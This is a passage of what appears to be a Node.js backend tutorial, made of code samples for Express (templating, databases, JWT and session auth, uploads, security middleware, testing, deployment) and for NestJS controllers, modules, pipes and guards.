      throw new NotFoundError('User not found');
    }
    res.json(user);
  } catch (err) {
    next(err);
  }
});

// Error handler
app.use((err: Error | AppError, req: Request, res: Response, next: NextFunction) => {
  if (err instanceof AppError) {
    return res.status(err.statusCode).json({
      error: {
        message: err.message,
        statusCode: err.statusCode
      }
    });
  }

  // Unknown error
  console.error('Unknown error:', err);
  res.status(500).json({
    error: {
      message: 'Internal server error'
    }
  });
});

// utils/asyncHandler.ts
export const asyncHandler = (fn: Function) => {
  return (req: Request, res: Response, next: NextFunction) => {
    Promise.resolve(fn(req, res, next)).catch(next);
  };
};

// Usage
app.get('/users', asyncHandler(async (req: Request, res: Response) => {
  const users = await User.find();
  res.json(users);
}));

// Catch 404 and forward to error handler
app.use((req, res, next) => {
  res.status(404).json({
    error: {
      message: 'Route not found',
      path: req.originalUrl
    }
  });
});

npm install ejs

import express from 'express';
const app = express();

// Set view engine
app.set('view engine', 'ejs');
app.set('views', './views');

// Render template
app.get('/', (req, res) => {
  res.render('index', {
    title: 'Home Page',
    user: { name: 'John' }
  });
});

<!DOCTYPE html>
<html>
<head>
  <title><%= title %></title>
</head>
<body>
  <h1>Welcome, <%= user.name %>!</h1>

  <% if (user.isAdmin) { %>
    <p>Admin panel</p>
  <% } %>

  <ul>
    <% ['Item 1', 'Item 2', 'Item 3'].forEach(item => { %>
      <li><%= item %></li>
    <% }); %>
  </ul>
</body>
</html>

npm install pug

app.set('view engine', 'pug');
app.set('views', './views');

app.get('/', (req, res) => {
  res.render('index', { title: 'Home', message: 'Hello Pug!' });
});

html
  head
    title= title
  body
    h1= message
    ul
      each item in ['Item 1', 'Item 2', 'Item 3']
        li= item

npm install express-handlebars

import { engine } from 'express-handlebars';

app.engine('handlebars', engine());
app.set('view engine', 'handlebars');
app.set('views', './views');

app.get('/', (req, res) => {
  res.render('home', {
    title: 'Home',
    items: ['Item 1', 'Item 2', 'Item 3']
  });
});

// Serve from 'public' directory
app.use(express.static('public'));

// Now you can access:
// http://localhost:3000/images/logo.png
// http://localhost:3000/css/style.css
// http://localhost:3000/js/app.js

// Multiple static directories
app.use(express.static('public'));
app.use(express.static('files'));

// Virtual path prefix
app.use('/static', express.static('public'));
// Now: http://localhost:3000/static/images/logo.png

// Absolute path
import path from 'path';
app.use('/static', express.static(path.join(__dirname, 'public')));

app.use(express.static('public', {
  maxAge: '1d',           // Cache for 1 day
  dotfiles: 'ignore',     // Ignore dotfiles
  index: 'index.html',    // Directory index file
  extensions: ['html'],   // File extension fallbacks
  setHeaders: (res, path) => {
    res.set('X-Custom-Header', 'value');
  }
}));

npm install mongoose

// config/database.ts
import mongoose from 'mongoose';

export const connectDatabase = async () => {
  try {
    await mongoose.connect(process.env.MONGODB_URI || 'mongodb://localhost:27017/myapp');
    console.log('MongoDB connected');
  } catch (error) {
    console.error('MongoDB connection error:', error);
    process.exit(1);
  }
};

// models/User.ts
import mongoose, { Document, Schema } from 'mongoose';

export interface IUser extends Document {
  name: string;
  email: string;
  password: string;
  createdAt: Date;
}

const UserSchema = new Schema({
  name: { type: String, required: true },
  email: { type: String, required: true, unique: true },
  password: { type: String, required: true },
  createdAt: { type: Date, default: Date.now }
});

export default mongoose.model<IUser>('User', UserSchema);

// controllers/userController.ts
import User from '../models/User';

export const getAllUsers = async (req: Request, res: Response) => {
  try {
    const users = await User.find().select('-password');
    res.json(users);
  } catch (error) {
    res.status(500).json({ error: 'Server error' });
  }
};

export const createUser = async (req: Request, res: Response) => {
  try {
    const user = new User(req.body);
    await user.save();
    res.status(201).json(user);
  } catch (error) {
    res.status(400).json({ error: 'Invalid data' });
  }
};

// index.ts
import { connectDatabase } from './config/database';

connectDatabase();

npm install sequelize pg pg-hstore

// config/database.ts
import { Sequelize } from 'sequelize';

export const sequelize = new Sequelize(
  process.env.DB_NAME || 'myapp',
  process.env.DB_USER || 'postgres',
  process.env.DB_PASSWORD || 'password',
  {
    host: process.env.DB_HOST || 'localhost',
    dialect: 'postgres',
    logging: false
  }
);

export const connectDatabase = async () => {
  try {
    await sequelize.authenticate();
    console.log('PostgreSQL connected');
    await sequelize.sync();
  } catch (error) {
    console.error('Database connection error:', error);
  }
};

// models/User.ts
import { DataTypes, Model } from 'sequelize';
import { sequelize } from '../config/database';

export class User extends Model {
  public id!: number;
  public name!: string;
  public email!: string;
  public readonly createdAt!: Date;
}

User.init(
  {
    id: {
      type: DataTypes.INTEGER,
      autoIncrement: true,
      primaryKey: true
    },
    name: {
      type: DataTypes.STRING,
      allowNull: false
    },
    email: {
      type: DataTypes.STRING,
      allowNull: false,
      unique: true
    }
  },
  {
    sequelize,
    tableName: 'users'
  }
);

npm install mysql2

import mysql from 'mysql2/promise';

const pool = mysql.createPool({
  host: 'localhost',
  user: 'root',
  password: 'password',
  database: 'myapp',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

app.get('/users', async (req, res) => {
  try {
    const [rows] = await pool.query('SELECT * FROM users');
    res.json(rows);
  } catch (error) {
    res.status(500).json({ error: 'Database error' });
  }
});

npm install jsonwebtoken bcryptjs
npm install --save-dev @types/jsonwebtoken @types/bcryptjs

import jwt from 'jsonwebtoken';
import bcrypt from 'bcryptjs';

const JWT_SECRET = process.env.JWT_SECRET || 'your-secret-key';

// Register
app.post('/auth/register', async (req, res) => {
  try {
    const { email, password, name } = req.body;

    // Check if user exists
    const existingUser = await User.findOne({ email });
    if (existingUser) {
      return res.status(400).json({ error: 'User already exists' });
    }

    // Hash password
    const hashedPassword = await bcrypt.hash(password, 10);

    // Create user
    const user = new User({
      email,
      password: hashedPassword,
      name
    });

    await user.save();

    // Generate token
    const token = jwt.sign(
      { userId: user.id, email: user.email },
      JWT_SECRET,
      { expiresIn: '7d' }
    );

    res.status(201).json({ token, user: { id: user.id, email, name } });
  } catch (error) {
    res.status(500).json({ error: 'Registration failed' });
  }
});

// Login
app.post('/auth/login', async (req, res) => {
  try {
    const { email, password } = req.body;

    // Find user
    const user = await User.findOne({ email });
    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Verify password
    const isValidPassword = await bcrypt.compare(password, user.password);
    if (!isValidPassword) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Generate token
    const token = jwt.sign(
      { userId: user.id, email: user.email },
      JWT_SECRET,
      { expiresIn: '7d' }
    );

    res.json({
      token,
      user: { id: user.id, email: user.email, name: user.name }
    });
  } catch (error) {
    res.status(500).json({ error: 'Login failed' });
  }
});

// Auth middleware
interface AuthRequest extends Request {
  user?: any;
}

const authenticate = (req: AuthRequest, res: Response, next: NextFunction) => {
  try {
    const token = req.headers.authorization?.split(' ')[1];

    if (!token) {
      return res.status(401).json({ error: 'No token provided' });
    }

    const decoded = jwt.verify(token, JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
};

// Protected route
app.get('/profile', authenticate, async (req: AuthRequest, res) => {
  try {
    const user = await User.findById(req.user.userId).select('-password');
    res.json(user);
  } catch (error) {
    res.status(500).json({ error: 'Server error' });
  }
});

npm install express-session connect-mongo

import session from 'express-session';
import MongoStore from 'connect-mongo';

app.use(session({
  secret: process.env.SESSION_SECRET || 'your-secret',
  resave: false,
  saveUninitialized: false,
  store: MongoStore.create({
    mongoUrl: process.env.MONGODB_URI
  }),
  cookie: {
    secure: process.env.NODE_ENV === 'production',
    httpOnly: true,
    maxAge: 1000 * 60 * 60 * 24 * 7 // 7 days
  }
}));

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;

  const user = await User.findOne({ email });
  if (!user || !(await bcrypt.compare(password, user.password))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  req.session.userId = user.id;
  res.json({ message: 'Logged in successfully' });
});

// Logout
app.post('/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: 'Logout failed' });
    }
    res.clearCookie('connect.sid');
    res.json({ message: 'Logged out successfully' });
  });
});

// Auth middleware
const requireAuth = (req: Request, res: Response, next: NextFunction) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
};

// routes/api/users.ts
import { Router } from 'express';
import {
  getAllUsers,
  getUserById,
  createUser,
  updateUser,
  deleteUser
} from '../../controllers/userController';
import { authenticate } from '../../middleware/auth';
import { validateUser } from '../../middleware/validation';

const router = Router();

// GET /api/users - Get all users
router.get('/', authenticate, getAllUsers);

// GET /api/users/:id - Get user by ID
router.get('/:id', authenticate, getUserById);

// POST /api/users - Create new user
router.post('/', validateUser, createUser);

// PUT /api/users/:id - Update user
router.put('/:id', authenticate, validateUser, updateUser);

// DELETE /api/users/:id - Delete user
router.delete('/:id', authenticate, deleteUser);

export default router;

// controllers/userController.ts
import { Request, Response } from 'express';
import User from '../models/User';

export const getAllUsers = async (req: Request, res: Response) => {
  try {
    const page = parseInt(req.query.page as string) || 1;
    const limit = parseInt(req.query.limit as string) || 10;
    const skip = (page - 1) * limit;

    const users = await User.find()
      .select('-password')
      .limit(limit)
      .skip(skip);

    const total = await User.countDocuments();

    res.json({
      users,
      pagination: {
        page,
        limit,
        total,
        pages: Math.ceil(total / limit)
      }
    });
  } catch (error) {
    res.status(500).json({ error: 'Server error' });
  }
};

export const getUserById = async (req: Request, res: Response) => {
  try {
    const user = await User.findById(req.params.id).select('-password');

    if (!user) {
      return res.status(404).json({ error: 'User not found' });
    }

    res.json(user);
  } catch (error) {
    res.status(500).json({ error: 'Server error' });
  }
};

export const createUser = async (req: Request, res: Response) => {
  try {
    const user = new User(req.body);
    await user.save();

    const userResponse = user.toObject();
    delete userResponse.password;

    res.status(201).json(userResponse);
  } catch (error) {
    res.status(400).json({ error: 'Invalid data' });
  }
};

export const updateUser = async (req: Request, res: Response) => {
  try {
    const user = await User.findByIdAndUpdate(
      req.params.id,
      req.body,
      { new: true, runValidators: true }
    ).select('-password');

    if (!user) {
      return res.status(404).json({ error: 'User not found' });
    }

    res.json(user);
  } catch (error) {
    res.status(400).json({ error: 'Invalid data' });
  }
};

export const deleteUser = async (req: Request, res: Response) => {
  try {
    const user = await User.findByIdAndDelete(req.params.id);

    if (!user) {
      return res.status(404).json({ error: 'User not found' });
    }

    res.status(204).send();
  } catch (error) {
    res.status(500).json({ error: 'Server error' });
  }
};

// v1 routes
import v1Router from './routes/v1';
app.use('/api/v1', v1Router);

// v2 routes
import v2Router from './routes/v2';
app.use('/api/v2', v2Router);

npm install express-rate-limit

import rateLimit from 'express-rate-limit';

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // Limit each IP to 100 requests per windowMs
  message: 'Too many requests from this IP'
});

app.use('/api/', limiter);

// Different limits for different routes
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: 'Too many login attempts'
});

app.use('/api/auth/login', authLimiter);

npm install multer
npm install --save-dev @types/multer

import multer from 'multer';
import path from 'path';

// Storage configuration
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads/');
  },
  filename: (req, file, cb) => {
    const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() * 1E9);
    cb(null, file.fieldname + '-' + uniqueSuffix + path.extname(file.originalname));
  }
});

// File filter
const fileFilter = (req: Request, file: Express.Multer.File, cb: multer.FileFilterCallback) => {
  const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];

  if (allowedTypes.includes(file.mimetype)) {
    cb(null, true);
  } else {
    cb(new Error('Invalid file type'));
  }
};

const upload = multer({
  storage: storage,
  limits: {
    fileSize: 5 * 1024 * 1024 // 5MB
  },
  fileFilter: fileFilter
});

// Single file upload
app.post('/upload', upload.single('avatar'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: 'No file uploaded' });
  }

  res.json({
    message: 'File uploaded successfully',
    file: {
      filename: req.file.filename,
      path: req.file.path,
      size: req.file.size
    }
  });
});

// Multiple files
app.post('/upload-multiple', upload.array('photos', 5), (req, res) => {
  res.json({
    message: 'Files uploaded successfully',
    files: req.files
  });
});

// Multiple fields
app.post('/upload-fields',
  upload.fields([
    { name: 'avatar', maxCount: 1 },
    { name: 'gallery', maxCount: 5 }
  ]),
  (req, res) => {
    res.json({
      message: 'Files uploaded successfully',
      files: req.files
    });
  }
);

npm install helmet cors express-rate-limit express-validator
npm install --save-dev @types/cors

import helmet from 'helmet';
import cors from 'cors';
import rateLimit from 'express-rate-limit';

// Helmet - Set security headers
app.use(helmet());

// CORS configuration
app.use(cors({
  origin: process.env.ALLOWED_ORIGINS?.split(',') || 'http://localhost:3000',
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

// Rate limiting
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100
});
app.use(limiter);

// Prevent parameter pollution
import hpp from 'hpp';
app.use(hpp());

// Sanitize data
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize());

// XSS protection
import xss from 'xss-clean';
app.use(xss());

import { body, param, validationResult } from 'express-validator';

app.post('/users',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 8 }).matches(/\d/).matches(/[a-zA-Z]/),
  body('name').trim().isLength({ min: 2, max: 50 }),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    // Process request
  }
);

// Use parameterized queries
const [rows] = await pool.query(
  'SELECT * FROM users WHERE email = ?',
  [email]
);

// Use ORM/ODM
const user = await User.findOne({ email }); // Mongoose

// Redirect HTTP to HTTPS
app.use((req, res, next) => {
  if (req.header('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {
    res.redirect(`https://${req.header('host')}${req.url}`);
  } else {
    next();
  }
});

npm install --save-dev jest supertest @types/jest @types/supertest ts-jest

module.exports = {
  preset: 'ts-jest',
  testEnvironment: 'node',
  testMatch: ['**/__tests__/**/*.ts', '**/?(*.)+(spec|test).ts'],
  collectCoverageFrom: ['src/**/*.ts', '!src/**/*.d.ts']
};

import request from 'supertest';
import app from '../src/app';

describe('User API', () => {
  it('GET /api/users should return all users', async () => {
    const response = await request(app)
      .get('/api/users')
      .expect('Content-Type', /json/)
      .expect(200);

    expect(response.body).toHaveProperty('users');
    expect(Array.isArray(response.body.users)).toBe(true);
  });

  it('POST /api/users should create a user', async () => {
    const newUser = {
      name: 'John Doe',
      email: 'john@example.com',
      password: 'password123'
    };

    const response = await request(app)
      .post('/api/users')
      .send(newUser)
      .expect('Content-Type', /json/)
      .expect(201);

    expect(response.body).toHaveProperty('id');
    expect(response.body.email).toBe(newUser.email);
  });

  it('GET /api/users/:id should return a user', async () => {
    const response = await request(app)
      .get('/api/users/1')
      .expect(200);

    expect(response.body).toHaveProperty('id');
    expect(response.body).toHaveProperty('name');
  });

  it('PUT /api/users/:id should update a user', async () => {
    const updates = { name: 'Jane Doe' };

    const response = await request(app)
      .put('/api/users/1')
      .send(updates)
      .expect(200);

    expect(response.body.name).toBe(updates.name);
  });

  it('DELETE /api/users/:id should delete a user', async () => {
    await request(app)
      .delete('/api/users/1')
      .expect(204);
  });
});

describe('Authentication', () => {
  it('POST /auth/register should register a user', async () => {
    const user = {
      name: 'Test User',
      email: 'test@example.com',
      password: 'password123'
    };

    const response = await request(app)
      .post('/auth/register')
      .send(user)
      .expect(201);

    expect(response.body).toHaveProperty('token');
    expect(response.body).toHaveProperty('user');
  });

  it('POST /auth/login should login a user', async () => {
    const credentials = {
      email: 'test@example.com',
      password: 'password123'
    };

    const response = await request(app)
      .post('/auth/login')
      .send(credentials)
      .expect(200);

    expect(response.body).toHaveProperty('token');
  });
});

NODE_ENV=production
PORT=3000
DATABASE_URL=mongodb://localhost:27017/myapp
JWT_SECRET=your-jwt-secret
SESSION_SECRET=your-session-secret
ALLOWED_ORIGINS=https://yourdomain.com

npm install -g pm2

# Start application
pm2 start dist/index.js --name "my-app"

# Start with cluster mode
pm2 start dist/index.js -i max --name "my-app"

# Save configuration
pm2 save

# Startup script
pm2 startup

module.exports = {
  apps: [{
    name: 'my-app',
    script: './dist/index.js',
    instances: 'max',
    exec_mode: 'cluster',
    env: {
      NODE_ENV: 'production',
      PORT: 3000
    },
    error_file: './logs/error.log',
    out_file: './logs/out.log',
    log_date_format: 'YYYY-MM-DD HH:mm:ss'
  }]
};

FROM node:18-alpine

WORKDIR /app

COPY package*.json ./

RUN npm ci --only=production

COPY . .

RUN npm run build

EXPOSE 3000

CMD ["node", "dist/index.js"]

version: '3.8'

services:
  app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
      - DATABASE_URL=mongodb://mongo:27017/myapp
    depends_on:
      - mongo

  mongo:
    image: mongo:6
    volumes:
      - mongo-data:/data/db
    ports:
      - "27017:27017"

volumes:
  mongo-data:

server {
    listen 80;
    server_name yourdomain.com;

    location / {
        proxy_pass http://localhost:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

// Compression
import compression from 'compression';
app.use(compression());

// Response caching
import apicache from 'apicache';
const cache = apicache.middleware;

app.get('/api/users', cache('5 minutes'), getAllUsers);

// Database connection pooling
mongoose.connect(uri, {
  maxPoolSize: 10,
  minPoolSize: 5
});

// Clustering
import cluster from 'cluster';
import os from 'os';

if (cluster.isPrimary) {
  const cpuCount = os.cpus().length;

  for (let i = 0; i < cpuCount; i++) {
    cluster.fork();
  }

  cluster.on('exit', (worker) => {
    console.log(`Worker ${worker.process.pid} died`);
    cluster.fork();
  });
} else {
  app.listen(PORT);
}

# Node.js 16+ and npm required
node --version
npm --version

# Install NestJS CLI globally
npm install -g @nestjs/cli

# Create new project
nest new my-nest-app

# Navigate to project
cd my-nest-app

# Start development server
npm run start:dev

# Create project directory
mkdir my-nest-app
cd my-nest-app

# Initialize npm
npm init -y

# Install core dependencies
npm install @nestjs/common @nestjs/core @nestjs/platform-express reflect-metadata rxjs

# Install development dependencies
npm install -D @nestjs/cli @nestjs/schematics typescript @types/node @types/express ts-node

my-nest-app/
├── src/
│   ├── main.ts                 # Application entry point
│   ├── app.module.ts           # Root module
│   ├── app.controller.ts       # Root controller
│   ├── app.service.ts          # Root service
│   ├── modules/                # Feature modules
│   │   ├── users/
│   │   │   ├── users.module.ts
│   │   │   ├── users.controller.ts
│   │   │   ├── users.service.ts
│   │   │   ├── dto/            # Data Transfer Objects
│   │   │   ├── entities/       # Database entities
│   │   │   └── interfaces/     # TypeScript interfaces
│   │   └── auth/
│   ├── common/                 # Shared utilities
│   │   ├── guards/
│   │   ├── interceptors/
│   │   ├── pipes/
│   │   ├── filters/
│   │   └── decorators/
│   └── config/                 # Configuration files
├── test/                       # E2E tests
├── nest-cli.json              # NestJS CLI configuration
├── tsconfig.json              # TypeScript configuration
└── package.json

{
  "compilerOptions": {
    "module": "commonjs",
    "declaration": true,
    "removeComments": true,
    "emitDecoratorMetadata": true,
    "experimentalDecorators": true,
    "allowSyntheticDefaultImports": true,
    "target": "ES2021",
    "sourceMap": true,
    "outDir": "./dist",
    "baseUrl": "./",
    "incremental": true,
    "skipLibCheck": true,
    "strictNullChecks": false,
    "noImplicitAny": false,
    "strictBindCallApply": false,
    "forceConsistentCasingInFileNames": false,
    "noFallthroughCasesInSwitch": false
  }
}

{
  "collection": "@nestjs/schematics",
  "sourceRoot": "src",
  "compilerOptions": {
    "deleteOutDir": true
  }
}

import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { ValidationPipe } from '@nestjs/common';
import { DocumentBuilder, SwaggerModule } from '@nestjs/swagger';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  // Enable CORS
  app.enableCors();

  // Global prefix
  app.setGlobalPrefix('api/v1');

  // Global validation pipe
  app.useGlobalPipes(new ValidationPipe({
    whitelist: true,
    forbidNonWhitelisted: true,
    transform: true,
  }));

  // Swagger documentation
  const config = new DocumentBuilder()
    .setTitle('My API')
    .setDescription('API documentation')
    .setVersion('1.0')
    .addBearerAuth()
    .build();
  const document = SwaggerModule.createDocument(app, config);
  SwaggerModule.setup('api/docs', app, document);

  await app.listen(3000);
  console.log(`Application is running on: ${await app.getUrl()}`);
}

bootstrap();

import { Controller, Get, Post, Put, Delete, Body, Param, Query, HttpCode, HttpStatus } from '@nestjs/common';
import { UsersService } from './users.service';
import { CreateUserDto } from './dto/create-user.dto';
import { UpdateUserDto } from './dto/update-user.dto';

@Controller('users')
export class UsersController {
  constructor(private readonly usersService: UsersService) {}

  @Get()
  findAll(@Query('page') page: number = 1, @Query('limit') limit: number = 10) {
    return this.usersService.findAll(page, limit);
  }

  @Get(':id')
  findOne(@Param('id') id: string) {
    return this.usersService.findOne(+id);
  }

  @Post()
  @HttpCode(HttpStatus.CREATED)
  create(@Body() createUserDto: CreateUserDto) {
    return this.usersService.create(createUserDto);
  }

  @Put(':id')
  update(@Param('id') id: string, @Body() updateUserDto: UpdateUserDto) {
    return this.usersService.update(+id, updateUserDto);
  }

  @Delete(':id')
  @HttpCode(HttpStatus.NO_CONTENT)
  remove(@Param('id') id: string) {
    return this.usersService.remove(+id);
  }
}

import {
  Controller,
  Get,
  Post,
  UseGuards,
  UseInterceptors,
  UsePipes,
  Req,
  Res,
  Headers,
  Session
} from '@nestjs/common';
import { Request, Response } from 'express';
import { AuthGuard } from '@nestjs/passport';
import { LoggingInterceptor } from '../common/interceptors/logging.interceptor';
import { ValidationPipe } from '@nestjs/common';

@Controller('products')
@UseGuards(AuthGuard('jwt'))
@UseInterceptors(LoggingInterceptor)
export class ProductsController {
  @Get()
  async findAll(@Req() request: Request, @Headers('authorization') auth: string) {
    return {
      data: [],
      user: request.user,
    };
  }

  @Post()
  @UsePipes(new ValidationPipe({ transform: true }))
  async create(@Body() body: any, @Res() response: Response) {
    const result = await this.createProduct(body);
    return response.status(201).json(result);
  }

  @Get('download')
  async download(@Res() res: Response) {
    res.download('./files/report.pdf');
  }
}

import { Injectable, NotFoundException } from '@nestjs/common';
import { CreateUserDto } from './dto/create-user.dto';
import { UpdateUserDto } from './dto/update-user.dto';

@Injectable()
export class UsersService {
  private users = [];

  findAll(page: number, limit: number) {
    const start = (page - 1) * limit;
    const end = start + limit;

    return {
      data: this.users.slice(start, end),
      total: this.users.length,
      page,
      limit,
    };
  }

  findOne(id: number) {
    const user = this.users.find(u => u.id === id);
    if (!user) {
      throw new NotFoundException(`User with ID ${id} not found`);
    }
    return user;
  }

  create(createUserDto: CreateUserDto) {
    const user = {
      id: this.users.length + 1,
      ...createUserDto,
      createdAt: new Date(),
    };
    this.users.push(user);
    return user;
  }

  update(id: number, updateUserDto: UpdateUserDto) {
    const user = this.findOne(id);
    Object.assign(user, updateUserDto);
    return user;
  }

  remove(id: number) {
    const index = this.users.findIndex(u => u.id === id);
    if (index === -1) {
      throw new NotFoundException(`User with ID ${id} not found`);
    }
    this.users.splice(index, 1);
  }
}

// Value provider
const configProvider = {
  provide: 'CONFIG',
  useValue: {
    apiKey: process.env.API_KEY,
    apiUrl: process.env.API_URL,
  },
};

// Factory provider
const databaseProvider = {
  provide: 'DATABASE_CONNECTION',
  useFactory: async () => {
    const connection = await createConnection({
      type: 'postgres',
      host: 'localhost',
      port: 5432,
    });
    return connection;
  },
};

// Class provider
const loggerProvider = {
  provide: 'LOGGER',
  useClass: CustomLogger,
};

// Usage in module
@Module({
  providers: [configProvider, databaseProvider, loggerProvider],
})
export class AppModule {}

import { Injectable, Inject } from '@nestjs/common';

@Injectable()
export class ProductsService {
  constructor(
    @Inject('CONFIG') private config: any,
    @Inject('DATABASE_CONNECTION') private db: any,
    private readonly usersService: UsersService,
  ) {}

  async findAll() {
    const apiUrl = this.config.apiUrl;
    const users = await this.usersService.findAll(1, 10);
    const products = await this.db.query('SELECT * FROM products');
    return products;
  }
}

import { Module } from '@nestjs/common';
import { UsersController } from './users.controller';
import { UsersService } from './users.service';
import { TypeOrmModule } from '@nestjs/typeorm';
import { User } from './entities/user.entity';

@Module({
  imports: [TypeOrmModule.forFeature([User])],
  controllers: [UsersController],
  providers: [UsersService],
  exports: [UsersService], // Export to use in other modules
})
export class UsersModule {}

import { Module } from '@nestjs/common';
import { ConfigModule } from '@nestjs/config';
import { TypeOrmModule } from '@nestjs/typeorm';
import { UsersModule } from './modules/users/users.module';
import { AuthModule } from './modules/auth/auth.module';
import { ProductsModule } from './modules/products/products.module';

@Module({
  imports: [
    ConfigModule.forRoot({
      isGlobal: true,
      envFilePath: '.env',
    }),
    TypeOrmModule.forRoot({
      type: 'postgres',
      host: process.env.DB_HOST,
      port: parseInt(process.env.DB_PORT),
      username: process.env.DB_USERNAME,
      password: process.env.DB_PASSWORD,
      database: process.env.DB_NAME,
      autoLoadEntities: true,
      synchronize: process.env.NODE_ENV !== 'production',
    }),
    UsersModule,
    AuthModule,
    ProductsModule,
  ],
})
export class AppModule {}

import { Module, Global } from '@nestjs/common';
import { LoggerService } from './logger.service';

@Global()
@Module({
  providers: [LoggerService],
  exports: [LoggerService],
})
export class LoggerModule {}

import { Module, DynamicModule } from '@nestjs/common';
import { DatabaseService } from './database.service';

@Module({})
export class DatabaseModule {
  static forRoot(options: DatabaseOptions): DynamicModule {
    return {
      module: DatabaseModule,
      providers: [
        {
          provide: 'DATABASE_OPTIONS',
          useValue: options,
        },
        DatabaseService,
      ],
      exports: [DatabaseService],
    };
  }
}

// Usage
@Module({
  imports: [
    DatabaseModule.forRoot({
      host: 'localhost',
      port: 5432,
    }),
  ],
})
export class AppModule {}

import { Request, Response, NextFunction } from 'express';

export function logger(req: Request, res: Response, next: NextFunction) {
  console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`);
  next();
}

import { Injectable, NestMiddleware } from '@nestjs/common';
import { Request, Response, NextFunction } from 'express';

@Injectable()
export class LoggerMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`);
    next();
  }
}

// Apply in module
import { Module, NestModule, MiddlewareConsumer } from '@nestjs/common';

@Module({})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(LoggerMiddleware)
      .forRoutes('*'); // Apply to all routes

    // Or specific routes
    consumer
      .apply(LoggerMiddleware)
      .forRoutes({ path: 'users', method: RequestMethod.GET });
  }
}

import {
  ExceptionFilter,
  Catch,
  ArgumentsHost,
  HttpException,
  HttpStatus
} from '@nestjs/common';
import { Request, Response } from 'express';

@Catch(HttpException)
export class HttpExceptionFilter implements ExceptionFilter {
  catch(exception: HttpException, host: ArgumentsHost) {
    const ctx = host.switchToHttp();
    const response = ctx.getResponse<Response>();
    const request = ctx.getRequest<Request>();
    const status = exception.getStatus();
    const exceptionResponse = exception.getResponse();

    response.status(status).json({
      statusCode: status,
      timestamp: new Date().toISOString(),
      path: request.url,
      method: request.method,
      message: exceptionResponse['message'] || exception.message,
    });
  }
}

// Apply globally
app.useGlobalFilters(new HttpExceptionFilter());

// Or use in controller
@Controller('users')
@UseFilters(HttpExceptionFilter)
export class UsersController {}

@Catch()
export class AllExceptionsFilter implements ExceptionFilter {
  catch(exception: unknown, host: ArgumentsHost) {
    const ctx = host.switchToHttp();
    const response = ctx.getResponse<Response>();
    const request = ctx.getRequest<Request>();

    const status =
      exception instanceof HttpException
        ? exception.getStatus()
        : HttpStatus.INTERNAL_SERVER_ERROR;

    const message =
      exception instanceof HttpException
        ? exception.message
        : 'Internal server error';

    response.status(status).json({
      statusCode: status,
      timestamp: new Date().toISOString(),
      path: request.url,
      message,
    });
  }
}

import { IsString, IsEmail, IsInt, Min, Max, IsOptional } from 'class-validator';

export class CreateUserDto {
  @IsString()
  @Length(3, 50)
  name: string;

  @IsEmail()
  email: string;

  @IsInt()
  @Min(18)
  @Max(120)
  age: number;

  @IsString()
  @IsOptional()
  bio?: string;
}

// Controller
@Post()
create(@Body() createUserDto: CreateUserDto) {
  return this.usersService.create(createUserDto);
}

import { PipeTransform, Injectable, ArgumentMetadata, BadRequestException } from '@nestjs/common';

@Injectable()
export class ParseIntPipe implements PipeTransform<string, number> {
  transform(value: string, metadata: ArgumentMetadata): number {
    const val = parseInt(value, 10);
    if (isNaN(val)) {
      throw new BadRequestException('Validation failed');
    }
    return val;
  }
}

// Usage
@Get(':id')
findOne(@Param('id', ParseIntPipe) id: number) {
  return this.usersService.findOne(id);
}

import { PipeTransform, Injectable, ArgumentMetadata } from '@nestjs/common';

@Injectable()
export class TrimPipe implements PipeTransform {
  transform(value: any, metadata: ArgumentMetadata) {
    if (typeof value === 'string') {
      return value.trim();
    }
    if (typeof value === 'object') {
      Object.keys(value).forEach(key => {
        if (typeof value[key] === 'string') {
          value[key] = value[key].trim();
        }
      });
    }
    return value;
  }
}

import { Injectable, CanActivate, ExecutionContext, UnauthorizedException } from '@nestjs/common';
import { JwtService } from '@nestjs/jwt';

@Injectable()
export class AuthGuard implements CanActivate {
  constructor(private jwtService: JwtService) {}

  async canActivate(context: ExecutionContext): Promise<boolean> {
    const request = context.switchToHttp().getRequest();
    const token = this.extractTokenFromHeader(request);

    if (!token) {
      throw new UnauthorizedException('No token provided');
    }

    try {
      const payload = await this.jwtService.verifyAsync(token);
      request.user = payload;
      return true;
    } catch {
      throw new UnauthorizedException('Invalid token');
    }
  }

  private extractTokenFromHeader(request: any): string | undefined {
    const [type, token] = request.headers.authorization?.split(' ') ?? [];
    return type === 'Bearer' ? token : undefined;
  }
}

